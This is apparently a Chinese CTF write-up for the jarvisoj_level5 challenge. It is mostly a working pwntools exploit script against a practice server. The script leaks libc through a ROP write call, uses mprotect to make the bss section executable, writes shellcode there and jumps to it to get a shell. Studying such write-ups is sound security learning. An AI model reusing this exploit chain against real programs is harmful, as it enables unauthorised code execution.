jarvisoj_level5

exp 脚本

  • 利用 rop write 泄露 libc 地址。
  • 获得函数 mprotect 的地址。
  • 返回漏洞函数利用 rop mportect 改写权限使得 bss 段可执行。
  • 返回漏洞函数利用 rop read 往 bss 段写入 shellcode。
  • 返回漏洞函数再次栈溢出控制返回地址指向 bss 段执行 shellcode 。
from pwn import *

context.log_level='DEBUG'
r=remote('node3.buuoj.cn',25687)
#r = process('./level3_x64')
file=ELF('./level3_x64')
#libc=ELF('./libc-2.19.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

prdi=0x4006b3
prsi=0x4006b1
bss_start=0x600a88
start_addr=0x4004f0

payload1='a'*0x80+'b'*8+p64(prdi)+p64(1)+p64(prsi)+p64(file.got['write'])+'c'*8+p64(file.plt['write'])
payload1+=p64(start_addr)
r.recvuntil('\n')
r.send(payload1)
write_got=u64(r.recv(8))
sleep(1)

libc_base=write_got-libc.sym['write']
mprotect=libc_base+libc.sym['mprotect']
prdx=libc_base+0x1b92

payload2='a'*0x80+'b'*8+p64(prdi)+p64(0x600000)+p64(prsi)+p64(0x1000)+'c'*8+p64(prdx)+p64(7)+p64(mprotect)+p64(start_addr)
r.recvuntil('\n')
r.send(payload2)
sleep(1)

payload3='a'*0x80+'b'*8+p64(prdi)+p64(0)+p64(prsi)+p64(bss_start)+'c'*8+p64(prdx)+p64(48)+p64(file.plt['read'])+p64(start_addr)
r.recvuntil('\n')
r.send(payload3)
sleep(1)
r.send(asm(shellcraft.amd64.linux.sh(),arch='amd64'))

payload4='a'*0x80+'b'*8+p64(bss_start)
r.recvuntil('\n')
r.send(payload4)

r.interactive()

get flag

内容来源

jarvisoj level5爬坑

posted @ 2020-03-02 22:59  PwnKi  阅读(632)  评论(0编辑  收藏  举报